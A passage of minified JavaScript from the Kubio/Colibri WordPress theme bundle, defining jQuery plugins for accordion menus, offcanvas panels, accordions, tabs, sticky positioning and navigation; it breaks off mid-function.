o="accordion-menu",n=function(e,n){this.namespace=o,this.defaults={menuSelector:".kubio-menu",offCanvasWrapper:".kubio-menu-container",linkSelector:".menu-item-has-children > a, .page_item_has_children > a",linkLeafsSelector:"li:not(.menu-item-has-children):not(.page_item_has_children) > a",arrowSelector:"svg",$menu:null},t.apply(this,arguments),this.initBindedFunctions(),this.initEventListenersData(),this.start()};n.prototype={start(){const e=this.$element.find(this.opts.menuSelector).first();this.opts.$menu=e;const t=e.find("> ul > li.current-menu-item").get(0);this.opts.$menu.find("a").data("allow-propagation",!0),this.opts.$menu.find(this.opts.arrowSelector).attr("tabIndex",0),this.removeEventListeners(),this.addEventListeners(),this.addMenuScrollSpy(e,t);const o=this.opts.$menu.find(".current-menu-parent").first();o.length&&this.openDropDown(o),this.addFocusListener()},initBindedFunctions(){this.debounceApplyDropdownLogic=e.debounce(this.applyDropdownLogic.bind(this),10),this.bindedLinkEventHandler=this.linkEventHandler.bind(this),this.bindedLinkArrowEventHandler=this.linkArrowEventHandler.bind(this)},initEventListenersData(){const e=".accordion-menu",t=["click","tap"].map((t=>`${t}${e}`)),o=t.map((e=>e+".link-selector")).join(" "),n=t.concat([`keyup${e}`]).map((e=>e+" svg")).join(" "),a=t.map((e=>e+".off-canvas")).join(" ");this._eventOptions={menuNamespace:e,linkSelectorEvent:o,arrowSelectorEvent:n,offCanvasEvent:a}},toggleFocus(t){let o=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];for(;this.opts.$menu[0]!==t;)"li"===t.tagName.toLowerCase()&&(o?(e(t).closest("li.menu-item-has-children").children("a").addClass("hover"),t.classList.add("hover"),e(t).children("a").addClass("hover")):(e(t).closest("li.menu-item-has-children").children("a").removeClass("hover"),t.classList.remove("hover"),e(t).children("a").removeClass("hover"))),t=t.parentElement},addFocusListener(){const e=this.opts.$menu.find("a");e.on("focus",(e=>{this.toggleFocus(e.currentTarget)})),e.on("blur",(e=>{this.toggleFocus(e.currentTarget,!1)}))},addEventListeners(){const t=this.opts.$menu,o=this._eventOptions;t.on(o.arrowSelectorEvent,this.opts.arrowSelector,this.bindedLinkArrowEventHandler),window.wp&&window.wp.customize&&t.off(o.linkSelectorEvent,this.opts.linkSelector),t.on(o.linkSelectorEvent,this.opts.linkSelector,this.bindedLinkEventHandler),t.on(o.offCanvasEvent,this.opts.linkLeafsSelector,this.closeOffcanvasPanel),e(document).on("keyup."+this.namespace,e.proxy(this.handleKeyboard,this))},removeEventListeners(){const t=this.opts.$menu,o=this._eventOptions;t.off(o.menuNamespace),e(document).on("keyup."+this.namespace)},stop(){this.removeEventListeners(),this.removeAllSvgArrows()},handleKeyboard(t){let o=t.target;"svg"===o.tagName.toLowerCase()&&(o=o.parentNode),e.contains(this.opts.$menu[0],o)&&e(o).siblings("ul").length&&(37===t.which&&this.closeDropDown(e(o).closest("li")),39===t.which&&this.openDropDown(e(o).closest("li")))},openDropDown(t){t&&((t=e(t).is("a")?e(t).closest("li"):e(t)).addClass("open"),t.children("ul").slideDown(100))},closeDropDown(t){t&&((t=e(t).is("a")?e(t).closest("li"):e(t)).removeClass("open"),t.children("ul").slideUp(100))},isDropDownOpen:e=>e.is(".open"),closeOffcanvasPanel(){window.wp&&window.wp.customize},linkEventHandler(t,o){const n=window.wp&&window.wp.customize;n&&t.preventDefault();const a=e(t.target).closest("li");0===a.find("ul").length||!o&&a.hasClass("open")&&!n?this.closeOffcanvasPanel():((o||!o&&!a.hasClass("open"))&&(t.preventDefault(),t.stopPropagation()),this.debounceApplyDropdownLogic(t,o))},linkArrowEventHandler(e){"keyup"===e.type?13===e.which&&this.linkEventHandler(e,!0):this.linkEventHandler(e,!0)},applyDropdownLogic(t,o){const n=e(t.target).closest("li");0!==n.find("ul").length?o&&this.isDropDownOpen(n)?this.closeDropDown(n):this.openDropDown(n):this.closeOffcanvasPanel()},removeAllSvgArrows(){this.opts.$menu&&this.opts.$menu.find(this.opts.arrowSelector).remove()},addMenuScrollSpy(t,o){const n=t,a=this;if(e.fn.kubioScrollSpy){const t=a.opts.linkSelector,l=a.opts.arrowSelector;n.find("a").not(t).not(l).kubioScrollSpy({onChange(){n.find(".current-menu-item,.current_page_item").removeClass("current-menu-item current_page_item"),e(this).closest("li").addClass("current-menu-item current_page_item")},onLeave(){e(this).closest("li").removeClass("current-menu-item current_page_item"),!n.find(".current-menu-item, .current_page_item").length&&o&&e(o).addClass("current-menu-item current_page_item")},clickCallback(){a.closeOffcanvasPanel()},smoothScrollAnchor:!0,offset(){const e=n.closest('[data-kubio-component="navigation"]');return e.length?e[0].getBoundingClientRect().height+20:20}})}e(window).trigger("smoothscroll.update")}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},439:function(e,t){!function(e,t){const o="offcanvas",n=function(e,o){this.namespace="offcanvas",this.defaults={target:null,push:!0,width:"250px",direction:"left",toggleEvent:"click",clickOutside:!0,animationOpen:"slideInLeft",animationClose:"slideOutLeft",callbacks:["open","opened","close","closed"],offcanvasOverlayId:null,$overlayElement:null,targetId:null},t.apply(this,arguments),this.utils=new t.Utils,this.detect=new t.Detect,this.start()};n.prototype={start(){if(!this.hasTarget())return;const t=this.opts.offcanvasOverlayId;this.opts.$overlayElement=e("#"+t),this.buildTargetWidth(),this.buildAnimationDirection(),this.$close=this.getCloseLink(),this.$element.on(this.opts.toggleEvent+"."+this.namespace,e.proxy(this.toggle,this)),this.$target.addClass("offcanvas"),this.$target.trigger("kubio.offcanvas.ready"),this.moveOffcanvas(),this.addOffcanvasOverlayLogic()},stop(){this.closeAll(),this.removeOffcanvasElements(),this.$element.off("."+this.namespace),this.$close&&this.$close.off("."+this.namespace),e(document).off("."+this.namespace)},removeOffcanvasElements(){this.$target.remove(),this.opts.$overlayElement.remove()},moveOffcanvas(){const e=this.$target[0];document.querySelector("html > body").appendChild(e);const t=this.opts.$overlayElement[0];document.querySelector("html > body").appendChild(t)},preventDefault:e=>(e.preventDefault(),e.stopPropagation(),!1),addOffcanvasOverlayLogic(){const e=this.opts.$overlayElement,t=this.$target;t.length&&(e[0].addEventListener("scroll",this.preventDefault,{passive:!0}),e[0].addEventListener("touchmove",this.preventDefault,{passive:!0}),e[0].addEventListener("mousewheel",this.preventDefault,{passive:!0}),t.on("kubio.offcanvas.open",(function(){e.addClass("h-offcanvas-opened")})),t.on("kubio.offcanvas.close",(function(){e.removeClass("h-offcanvas-opened")})))},toggle(e){this.isOpened()?this.close(e):this.open(e)},buildTargetWidth(){this.opts.width=e(window).width()<parseInt(this.opts.width)?"100%":this.opts.width},buildAnimationDirection(){"right"===this.opts.direction&&(this.opts.animationOpen="slideInRight",this.opts.animationClose="slideOutRight")},getCloseLink(){return this.$target.find(".close")},open(o){o&&o.preventDefault(),this.isOpened()||(this.closeAll(),this.callback("open"),this.$target.addClass("offcanvas-"+this.opts.direction),this.$target.css("width",Math.min(parseInt(this.opts.width),window.innerWidth-100)),this.$target.css("right","-"+Math.min(parseInt(this.opts.width),window.innerWidth-100)),this.$target.trigger("kubio.offcanvas.open"),t.animate(this.$target,this.opts.animationOpen,e.proxy(this.onOpened,this)),this.$element.trigger("kubio.offcanvas.open"))},closeAll(){const o=e(document).find(".offcanvas");0!==o.length&&(o.each((function(){const o=e(this);o.hasClass("open")&&(o.css("width",""),t.animate(o,"hide"),o.removeClass("open offcanvas-left offcanvas-right"))})),e(document).off("."+this.namespace),e("body").css("left",""))},close(o){if(o){const t=e(o.target);if(("A"===t[0].tagName||"INPUT"===t[0].tagName||"BUTTON"===t[0].tagName||t.parents("button, a").length)&&0!==t.closest(".offcanvas").length&&!t.hasClass("close")&&window.location.href!==o.target.href)return;o.preventDefault()}this.isOpened()&&(this.callback("close"),this.$target.trigger("kubio.offcanvas.close"),t.animate(this.$target,this.opts.animationClose,e.proxy(this.onClosed,this)))},isOpened(){return this.$target.hasClass("open")},onOpened(){this.$target.find("a").eq(0).focus(),this.$target.removeClass("hide"),this.opts.clickOutside&&e(document).on("click."+this.namespace+" tap."+this.namespace,e.proxy(this.close,this)),this.detect.isMobileScreen()&&e("html").addClass("no-scroll"),e(document).on("keyup."+this.namespace,e.proxy(this.handleKeyboard,this)),e(document).on("keydown."+this.namespace,e.proxy(this.handleKeyDown,this)),this.$close.on("click."+this.namespace,e.proxy(this.close,this)),this.$target.addClass("open"),this.callback("opened")},onClosed(){e("html").removeClass("no-scroll"),this.$target.css("width","").removeClass("offcanvas-"+this.opts.direction),this.$close.off("."+this.namespace),e(document).off("."+this.namespace),this.$target.removeClass("open"),this.callback("closed"),this.$target.trigger("kubio.offcanvas.closed")},handleKeyboard(t){27===t.which&&(document.activeElement&&e(document.activeElement).closest(".offcanvas").length&&this.$element.focus(),this.close())},handleKeyDown(e){if(9===e.which){const t=this.$target.find("a:visible"),o=e.shiftKey;if(t.last().is(e.target)&&!o)return t.first().focus(),e.preventDefault(),void e.stopPropagation();t.first().is(e.target)&&o&&(t.last().focus(),e.preventDefault(),e.stopPropagation())}}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},440:function(e,t){!function(e,t){const o="accordion",n=function(e,n){this.namespace=o,this.defaults={target:null,toggle:!0,active:!1,toggleClass:"h-accordion-item-title",boxClass:"h-accordion-item-content__container",activeClass:"accordion-active h-custom-active-state",callbacks:["open","opened","close","closed"],hashes:[],currentHash:!1,currentItem:!1},t.apply(this,arguments),this.start()};n.prototype={start(){this.$items=this.getItems(),this.$items.each(e.proxy(this.loadItems,this)),this.$boxes=this.getBoxes(),this.setInitialOpenedItems(),this.setActiveItem()},stop(){this.closeAll()},restart(){this.updateOpts(),this.stop(),this.start()},getItems(){return this.$element.find(`> .h-accordion-item > .${this.opts.toggleClass}`)},setInitialOpenedItems(){let t=!1;this.$items.each(((o,n)=>{"true"!==e(n).attr("data-open-by-default")||this.opts.toggle&&(!this.opts.toggle||t)||(t=!0,this.addActive(this.getItem(n)))}))},getBoxes(){return this.$element.find(`> .h-accordion-item > .${this.opts.boxClass}, > .h-accordion-item > .h-accordion-item-content`)},loadItems(t,o){const n=this.getItem(o);n.$el.attr("rel",n.hash),n.$el.hasClass(this.opts.activeClass)&&(this.opts.currentItem=n,this.opts.active=n.hash);const a=["click","tap"].map((e=>`${e}.${this.namespace} `)).join(" ");n.$el.off(a).on(a,e.proxy(this.toggle,this))},setActiveItem(){!1!==this.opts.active&&(this.opts.currentItem=this.getItemBy(this.opts.active),this.opts.active=this.opts.currentItem.hash),!1!==this.opts.currentItem&&(this.addActive(this.opts.currentItem),this.opts.currentItem.$box.removeClass("hide"))},addActive(e){e.$box.find(".h-element").trigger("colibriContainerOpened"),e.$box.removeClass("hide").addClass("open"),e.$el.addClass(this.opts.activeClass),!1!==e.$caret&&e.$caret.removeClass("down").addClass("up"),!1!==e.$parent&&e.$parent.addClass(this.opts.activeClass),this.opts.currentItem=e},removeActive(e){e.$box.removeClass("open"),e.$el.removeClass(this.opts.activeClass),!1!==e.$caret&&e.$caret.addClass("down").removeClass("up"),!1!==e.$parent&&e.$parent.removeClass(this.opts.activeClass),this.opts.currentItem=!1},toggle(t){t&&t.preventDefault();const o=e(t.target).closest("."+this.opts.toggleClass).get(0)||t.target,n=this.getItem(o);this.isOpened(n.hash)?this.close(n.hash):this.open(t)},openAll(){this.$items.addClass(this.opts.activeClass),this.$boxes.addClass("open").removeClass("hide")},open(t,o){if(void 0===t)return;"object"==typeof t&&t.preventDefault();const n=e(t.target).closest("."+this.opts.toggleClass).get(0)||t.target,a="object"==typeof t?this.getItem(n):this.getItemBy(t);a.$box.hasClass("open")||(this.opts.toggle&&this.closeAll(),this.callback("open",a),this.addActive(a),this.onOpened())},onOpened(){this.callback("opened",this.opts.currentItem)},closeAll(){this.$items.removeClass(this.opts.activeClass).closest("li").removeClass(this.opts.activeClass),this.$boxes.removeClass("open").addClass("hide")},close(e){const t=this.getItemBy(e);this.callback("close",t),this.opts.currentItem=t,this.onClosed()},onClosed(){const e=this.opts.currentItem;this.removeActive(e),this.callback("closed",e)},isOpened(t){return e("[rel="+t+"]").hasClass(this.opts.activeClass)},getItem(t){const o={};o.$el=e(t),o.hash=o.$el.attr("href"),o.$box=e(o.hash);const n=o.$el.parent();o.$parent="LI"===n[0].tagName&&n;const a=o.$el.find(".caret");return o.$caret=0!==a.length&&a,o},getItemBy(e){const t="number"==typeof e?this.$items.eq(e-1):this.$element.find('[rel="'+e+'"]');return this.getItem(t)}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},441:function(e,t){!function(e,t){const o="tabs",n=function(e,n){this.namespace=o,this.defaults={equals:!1,active:!1,hash:!0,contentActiveClass:"h-tabs-content-active",navActiveClass:"h-tabs-navigation-active-item h-custom-active-state",callbacks:["init","next","prev","open","opened","close","closed"]},t.apply(this,arguments),this.start()};n.prototype={start(){this.tabsCollection=[],this.hashesCollection=[],this.currentHash=[],this.currentItem=!1,this.$items=this.getItems(),this.$items.length&&(this.$items.each(e.proxy(this.loadItems,this)),this.$tabs=this.getTabs(),this.currentHash=this.getLocationHash(),this.closeAll(),this.setActiveItem(),this.setItemHeight(),this.callback("init"),window.addEventListener("hashchange",this.onHashChange.bind(this),!1))},restart(){this.updateOpts(),this.stop(),this.start()},stop(){this.$items.length>0&&this.$items.each(e.proxy(this.unbindItem,this))},unbindItem(e,t){const o=["click","tap"].map((e=>`${e}.${this.namespace} `)).join(" ");this.getItem(t).$el.off(o)},getTabs(){return e(this.tabsCollection).map((function(){return this.toArray()}))},elementIsVisible(e){let t=e.offsetTop;const o=e.offsetHeight;for(;e.offsetParent;)t+=(e=e.offsetParent).offsetTop;return t<window.pageYOffset+window.innerHeight&&t+o>window.pageYOffset},tabsIsVisible(){return this.elementIsVisible(this.$element.get(0))},tabsTopIsVisible(){const e=this.$element.get(0).getBoundingClientRect();return this.tabsIsVisible()&&e.top>0},onHashChange(e){this.closeAll(),this.currentHash=this.getLocationHash(),this.setActiveItem(),this.currentHash&&!this.tabsTopIsVisible()&&this.$element.get(0).scrollIntoView()},getItems(){return this.$element.find("> .h-tabs-navigation .h-tabs-navigation-item")},loadItems(t,o){const n=this.getItem(o);n.$el.attr("rel",n.hash),this.collectItem(n),n.$el.hasClass(this.opts.navActiveClass)&&(this.currentItem=n,this.opts.active=n.hash);const a=["click","tap"].map((e=>`${e}.${this.namespace} `)).join(" ");n.$el.off(a).on(a,e.proxy(this.open,this))},collectItem(e){this.tabsCollection.push(e.$tab),this.hashesCollection.push(e.hash)},setActiveItem(){this.currentHash?(this.currentItem=this.getItemBy(this.currentHash),this.opts.active=this.currentHash):!1===this.opts.active?(this.currentItem=this.getItem(this.$items.first()),this.opts.active=this.currentItem.hash):this.opts.active&&(this.currentItem=this.getItemBy(this.opts.active)),this.addActive(this.currentItem)},addActive(e){e.$tab.find(".h-element").trigger("colibriContainerOpened"),e.$tab.find('[data-kubio="kubio/slider"], [data-kubio="kubio/carousel"], [data-kubio="kubio/counter"]').trigger("colibriContainerOpened"),e.$el.addClass(this.opts.navActiveClass),e.$tab.removeClass("hide").addClass(this.opts.contentActiveClass),this.currentItem=e},removeActive(e){e.$el.removeClass(this.opts.navActiveClass),e.$tab.addClass("hide").removeClass(this.opts.contentActiveClass),this.currentItem=!1},next(e){e&&e.preventDefault();const t=this.getItem(this.fetchElement("next"));this.open(t.hash),this.callback("next",t)},prev(e){e&&e.preventDefault();const t=this.getItem(this.fetchElement("prev"));this.open(t.hash),this.callback("prev",t)},fetchElement(e){let t;if(!1!==this.currentItem){if(t=this.currentItem.$parent[e]().find("a"),0===t.length)return}else t=this.$items[0];return t},open(e,t){if(void 0===e)return;"object"==typeof e&&e.preventDefault();const o="object"==typeof e?this.getItem(e.target):this.getItemBy(e);this.closeAll(),this.callback("open",o),this.addActive(o),this.pushStateOpen(t,o),this.callback("opened",o)},pushStateOpen(e,t){if(!1!==e&&!1!==this.opts.hash)try{window.history.pushState(!1,!1,t.hash)}catch(e){}},close(e){const t=this.getItemBy(e);t.$el.hasClass(this.opts.navActiveClass)&&(this.callback("close",t),this.removeActive(t),this.pushStateClose(),this.callback("closed",t))},pushStateClose(){!1!==this.opts.hash&&history.pushState(!1,!1," ")},closeAll(){this.$tabs.removeClass("open").addClass("hide").removeClass(this.opts.contentActiveClass),this.$items.removeClass(this.opts.navActiveClass)},getItem(t){const o={};return o.$el=e(t),o.$el.is("a")||(o.$el=o.$el.parents("a").eq(0)),o.hash=o.$el.attr("href"),o.$parent=o.$el.parent(),o.$tab=this.$element.find(o.hash),o},getItemBy(e){const t="number"==typeof e?this.$items.eq(e-1):this.$element.find('[rel="'+e+'"]');return this.getItem(t)},getLocationHash(){return!1!==this.opts.hash&&!!this.isHash()&&top.location.hash},isHash(){return!(""===top.location.hash||-1===e.inArray(top.location.hash,this.hashesCollection))},setItemHeight(){if(this.opts.equals){const e=this.getItemMaxHeight()+"px";this.$tabs.css("min-height",e)}},getItemMaxHeight(){let t=0;return this.$tabs.each((function(){const o=e(this).outerHeight();t=o>t?o:t})),t}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},442:function(e,t){!function(e,t,o){const n=function(){const e={getAll:e=>o.defaultView.getComputedStyle(e),get(e,t){return this.getAll(e)[t]},toFloat:e=>parseFloat(e,10)||0,getFloat(e,t){return this.toFloat(this.get(e,t))},_getAllCurrentStyle:e=>e.currentStyle};return o.documentElement.currentStyle&&(e.getAll=e._getAllCurrentStyle),e}(),a=function(){function t(e){this.element=e,this.replacer=o.createElement("div"),this.replacer.style.visibility="hidden",this.hide(),e.parentNode.insertBefore(this.replacer,e)}return t.prototype={replace(){const e=this.replacer.style,t=n.getAll(this.element);e.width=this._width(),e.height=this._height(),e.marginTop=t.marginTop,e.marginBottom=t.marginBottom,e.marginLeft=t.marginLeft,e.marginRight=t.marginRight,e.cssFloat=t.cssFloat,e.styleFloat=t.styleFloat,e.position=t.position,e.top=t.top,e.right=t.right,e.bottom=t.bottom,e.left=t.left,e.display=t.display},hide(){this.replacer.style.display="none"},_width(){return this.element.getBoundingClientRect().width+"px"},_widthOffset(){return this.element.offsetWidth+"px"},_height(){return jQuery(this.element).outerHeight()+"px"},_heightOffset(){return this.element.offsetHeight+"px"},destroy(){e(this.replacer).remove();for(const e in this)this.hasOwnProperty(e)&&(this[e]=null)}},o.documentElement.getBoundingClientRect().width||(t.prototype._width=t.prototype._widthOffset,t.prototype._height=t.prototype._heightOffset),{MimicNode:t,computedStyle:n}}();function l(){this._vendor=null}l.prototype={_vendors:{webkit:{cssPrefix:"-webkit-",jsPrefix:"Webkit"},moz:{cssPrefix:"-moz-",jsPrefix:"Moz"},ms:{cssPrefix:"-ms-",jsPrefix:"ms"},opera:{cssPrefix:"-o-",jsPrefix:"O"}},_prefixJsProperty:(e,t)=>e.jsPrefix+t[0].toUpperCase()+t.substr(1),_prefixValue:(e,t)=>e.cssPrefix+t,_valueSupported(e,t,o){try{return o.style[e]=t,o.style[e]===t}catch(e){return!1}},propertySupported:e=>void 0!==o.documentElement.style[e],getJsProperty(e){if(this.propertySupported(e))return e;if(this._vendor)return this._prefixJsProperty(this._vendor,e);let t;for(const o in this._vendors)if(t=this._prefixJsProperty(this._vendors[o],e),this.propertySupported(t))return this._vendor=this._vendors[o],t;return null},getCssValue(e,t){const n=o.createElement("div"),a=this.getJsProperty(e);if(this._valueSupported(a,t,n))return t;let l;if(this._vendor&&(l=this._prefixValue(this._vendor,t),this._valueSupported(a,l,n)))return l;for(const e in this._vendors)if(l=this._prefixValue(this._vendors[e],t),this._valueSupported(a,l,n))return this._vendor=this._vendors[e],l;return null}};const r=new l,i=r.getJsProperty("transform");let c;const s=r.getCssValue("position","sticky"),u=r.getCssValue("position","fixed");let p;function b(t,o,n){this.child=t,this._$child=e(t),this.parent=o,this.options={className:"fixto-fixed",startAfterNode:{enabled:!1,selector:""},animations:{enabled:!1,currentInAnimationClass:"",currentOutAnimationClass:"",allInAnimationsClasses:"",allOutAnimationsClasses:"",duration:0},top:0,zIndex:""},this._setOptions(n),this._initAnimations()}function m(e,t,o){b.call(this,e,t,o),this._replacer=new a.MimicNode(e),this._ghostNode=this._replacer.replacer,this._saveStyles(),this._saveViewportHeight(),this._proxied_onscroll=this._bind(this._onscroll,this),this._proxied_onresize=this._bind(this._onresize,this),this.start()}function d(e,t,o){b.call(this,e,t,o),this.start()}"Microsoft Internet Explorer"===navigator.appName&&(p=parseFloat(navigator.appVersion.split("MSIE")[1])),b.prototype={_mindtop(){let e=0;if(this._$mind){let t,o;for(let a=0,l=this._$mind.length;a<l;a++)if(t=this._$mind[a],o=t.getBoundingClientRect(),o.height)e+=o.height;else{const o=n.getAll(t);e+=t.offsetHeight+n.toFloat(o.marginTop)+n.toFloat(o.marginBottom)}}return e},_updateOutAnimationDuration(){let e=this.options.animations.duration;isNaN(e)&&(e=0),this._animationDuration=e},_initAnimations(){const t=this.options.animations;this._$child.removeClass(t.allInAnimationsClasses),this._$child.removeClass(t.allOutAnimationsClasses);const o=this;this._updateOutAnimationDuration(),this._animationOutDebounce=e.debounce((function(){o._$child.removeClass(o.options.animations.allOutAnimationsClasses),o._inOutAnimation=!1,o._unfix(),o._removeTransitionFromOutAnimation()}),100),this._animationInDebounce=e.debounce((function(){o._inInAnimation=!1,o._$child.removeClass(o.options.animations.allInAnimationsClasses)}),this._animationDuration)},_removeTransitionFromOutAnimation(){const e="h-global-transition-disable";this._$child.addClass(e);let t=this._$child.css("transition-duration").match(/\d+/)[0];t||(t=0);const o=this;setTimeout((function(){o._$child&&o._$child.removeClass(e)}),1e3*t+500)},_passedStartAfterNode(){const e=this._$startAfterNode;if(e&&e.length>0){const t=this._afterElementOffsetTop,o=e.outerHeight();return this._scrollTop>t+o}return!0},stop(){this._stop(),this._running=!1},start(){this._running||(this._start(),this._running=!0)},destroy(){this.stop(),this._destroy(),this._$child.removeData("fixto-instance");for(const e in this)this.hasOwnProperty(e)&&(this[e]=null)},_setOptions(t){e.extend(!0,this.options,t),this.options.mind&&(this._$mind=e(this.options.mind)),this.options.startAfterNode.enabled&&this.options.startAfterNode.selector&&(this._$startAfterNode=e(this.options.startAfterNode.selector))},setOptions(e){this._setOptions(e),this.refresh()},_stop(){},_start(){},_destroy(){},refresh(){}},m.prototype=new b,e.extend(m.prototype,{_bind:(e,t)=>function(){return e.call(t)},_toresize:8===p?o.documentElement:t,_scriptCallIsValid(t){if(!Colibri.isCustomizerPreview())return!0;const o=e(t).closest(".h-navigation_outer").get(0);return!o||!!o.__vue__},_onscroll:function(){if(this._scrollingContainer=e(".edit-site-visual-editor")[0],this._scrollTop=o.documentElement.scrollTop||o.body.scrollTop||(this._scrollingContainer?this._scrollingContainer.scrollTop:0),this._parentBottom=this.parent.offsetHeight+this._fullOffset("offsetTop",this.parent),!this.options.startAfterNode||this._passedStartAfterNode())if(this.fixed){if(this.options.toBottom){if(this._scrollTop>=this._fullOffset("offsetTop",this._ghostNode))return void this._unfixFromScrollListener()}else if(this._scrollTop>this._parentBottom||this._scrollTop<=this._fullOffset("offsetTop",this._ghostNode)-this.options.top-this._mindtop())return void this._unfixFromScrollListener();this._adjust()}else{const e=n.getAll(this.child);(this._scrollTop<this._parentBottom&&this._scrollTop>this._fullOffset("offsetTop",this.child)-this.options.top-this._mindtop()&&this._viewportHeight>this.child.offsetHeight+n.toFloat(e.marginTop)+n.toFloat(e.marginBottom)||this.options.toBottom)&&(this._fix(),this._adjust())}else this.fixed&&!this._inOutAnimation&&this._unfixFromScrollListener()},_adjust:function(){let t=0;const o=this._mindtop();let a=0;const l=n.getAll(this.child);let r=null;if(c&&(r=this._getContext(),r&&(t=Math.abs(r.getBoundingClientRect().top))),a=this._parentBottom-this._scrollTop-(this.child.offsetHeight+n.toFloat(l.marginBottom)+o+this.options.top),a>0&&(a=0),this.options.toBottom);else{let r=this.options.top;0===r&&(r=e("body").offset().top),this.child.style.top=Math.round(a+o+t+r-n.toFloat(l.marginTop))+"px"}},_fullOffset:function(e,t,o){let n=t[e],a=t.offsetParent;for(;null!==a&&a!==o;)n+=a[e],a=a.offsetParent;return n},_getContext(){let e,t,a=this.child,l=null;for(;!l;){if(e=a.parentNode,e===o.documentElement)return null;if(t=n.getAll(e),"none"!==t[i]){l=e;break}a=e}return l},_fix:function(){const t=this.child,a=t.style,l=n.getAll(t);let r=t.getBoundingClientRect().left,i=l.width;if(this._$child.trigger("fixto-add"),this._saveStyles(),o.documentElement.currentStyle&&(i=t.offsetWidth,"border-box"!==l.boxSizing&&(i-=n.toFloat(l.paddingLeft)+n.toFloat(l.paddingRight)+n.toFloat(l.borderLeftWidth)+n.toFloat(l.borderRightWidth)),i+="px"),c&&(this._getContext(),r=this._$child.offset().left),this._replacer.replace(),a.left=r-n.toFloat(l.marginLeft)+"px",a.width=i,a.position="fixed",this.options.toBottom)a.top="",a.bottom=this.options.top+n.toFloat(l.marginBottom)+"px";else{a.bottom="";let t=this.options.top;0===t&&(t=e("body").offset().top),a.top=this._mindtop()+t-n.toFloat(l.marginTop)+"px"}this.options.zIndex&&(this.child.style.zIndex=this.options.zIndex),this._$child.addClass(this.options.className);const s=this.options.animations;this._$child.removeClass(s.allInAnimationsClasses),s.enabled&&(this._$child.addClass(s.currentInAnimationClass),this._inInAnimation||(this._inInAnimation=!0,this._animationInDebounce())),this.fixed=!0,this._$child.trigger("fixto-added")},_unfixFromScrollListener(){this._$child.trigger("fixto-unnfix-from-scroll"),this.options.animations.enabled?this._unfixTriggerAnimation():this._unfix()},_getAfterElementOffsetTop(){const e=this._$startAfterNode;if(e&&e.length>0){let t=e.get(0),o=0;do{o+=t.offsetTop,t=t.offsetParent}while(t);return o=o<0?0:o,o}return 0},_unfix:function(){this._replacer.hide();const e=this.child.style;e.position=this._childOriginalPosition,e.top=this._childOriginalTop,e.bottom=this._childOriginalBottom,e.width=this._childOriginalWidth,e.left=this._childOriginalLeft,e.zIndex=this._childOriginalZIndex,this.options.always||(this._$child.removeClass(this.options.className),this._$child.trigger("fixto-removed")),this.fixed=!1},_unfixTriggerAnimation(){this._$child.trigger("fixto-animated-remove"),this._animationInDebounce.flush();const e=this.options.animations;this._$child.removeClass(e.allInAnimationsClasses),this._$child.removeClass(e.allOutAnimationsClasses),e.enabled&&this._$child.addClass(e.currentOutAnimationClass),this._inOutAnimation=!0,this._animationOutDebounce()},_saveStyles(){this._animationOutDebounce.flush();const e=this.child.style;this._childOriginalPosition=e.position,this.options.toBottom?(this._childOriginalTop="",this._childOriginalBottom=e.bottom):(this._childOriginalTop=e.top,this._childOriginalBottom=""),this._childOriginalWidth=e.width,this._childOriginalLeft=e.left,this._childOriginalZIndex=e.zIndex,this._afterElementOffsetTop=this._getAfterElementOffsetTop()},_onresize(){this.refresh()},_saveViewportHeight(){this._viewportHeight=t.innerHeight||o.documentElement.clientHeight},_stop(){this._unfix(),t.removeEventListener("scroll",this._proxied_onscroll),t.removeEventListener("mousewheel",this._proxied_onscroll)},_start(){this._onscroll(),t.addEventListener("scroll",this._proxied_onscroll,{passive:!0}),t.addEventListener("mousewheel",this._proxied_onscroll,{passive:!0}),e(this._toresize).on("resize.fixto",this._proxied_onresize)},_destroy(){this._replacer.destroy()},refresh(){this._saveViewportHeight(),this._unfix(),this._onscroll()}}),d.prototype=new b,e.extend(d.prototype,{_start(){const e=n.getAll(this.child);this._childOriginalPosition=e.position,this._childOriginalTop=e.top,this.child.style.position=s,this.refresh()},_stop(){this.child.style.position=this._childOriginalPosition,this.child.style.top=this._childOriginalTop},refresh(){this.child.style.top=this._mindtop()+this.options.top+"px"}});let h=function(e,t,n){return s&&!n||s&&n&&!1!==n.useNativeSticky?new d(e,t,n):u?(void 0===c&&(c=function(){let e=!1;const t=o.createElement("div"),n=o.createElement("div");return t.appendChild(n),t.style[i]="translate(0)",t.style.marginTop="10px",t.style.visibility="hidden",n.style.position="fixed",n.style.top=0,o.body.appendChild(t),n.getBoundingClientRect().top>0&&!0,o.body.removeChild(t),!1}()),new m(e,t,n)):"Neither fixed nor sticky positioning supported"};p<8&&(h=function(){return"not supported"}),e.fn.fixTo=function(t,o){const n=e(t);let a=0;return this.each((function(){const l=e(this).data("fixto-instance");l?l[t].call(l,o):e(this).data("fixto-instance",h(this,n[a],o)),a++}))}}(window.jQuery,window,document)},443:function(e,t){!function(e,t){const o="navigation",n={slideDown:{in:"slideInDown",out:"slideOutDownNavigation"},fade:{in:"fadeIn",out:"fadeOut"},none:{in:"h-global-transition-disable",out:"h-global-transition-disable"}},a=function(n,a){this.namespace=o,this.scrollingContainer=e(".edit-site-visual-editor"),this.defaults={sticky:{className:"h-navigation_sticky",topSpacing:0,top:this.scrollingContainer.length?this.scrollingContainer.offset().top:0,stickyOnMobile:!0,stickyOnTablet:!0,startAfterNode:{enabled:!1,selector:".wp-block-kubio-header"},animations:{enabled:!1,name:"none",duration:0},zIndex:9999,responsiveWidth:!0,center:!0,useShrink:!0,toBottom:!1,useNativeSticky:!1,always:!1,prepare:!0,onShow:!1},overlap:!1,overlapIsActive:!1},t.apply(this,arguments),this.computeOverlapPaddingDelayed=jQuery.debounce(this.computeOverlapPadding.bind(this),10),this.start()};a.prototype={getStickyData(){const t=this.opts.sticky.animations,o=t.duration;return e.extend(!0,{},this.opts.sticky,{animations:{allInAnimationsClasses:"slideInDown fadeIn h-global-transition-disable",allOutAnimationsClasses:"slideOutDownNavigation fadeOut h-global-transition-disable",currentInAnimationClass:n[t.name].in,currentOutAnimationClass:n[t.name].out,duration:"none"===t.name?0:1e3*o}})},start(){this.opts.sticky&&this.startSticky(this.getStickyData()),this.opts.overlap&&this.startOverlap()},startOverlap(){let 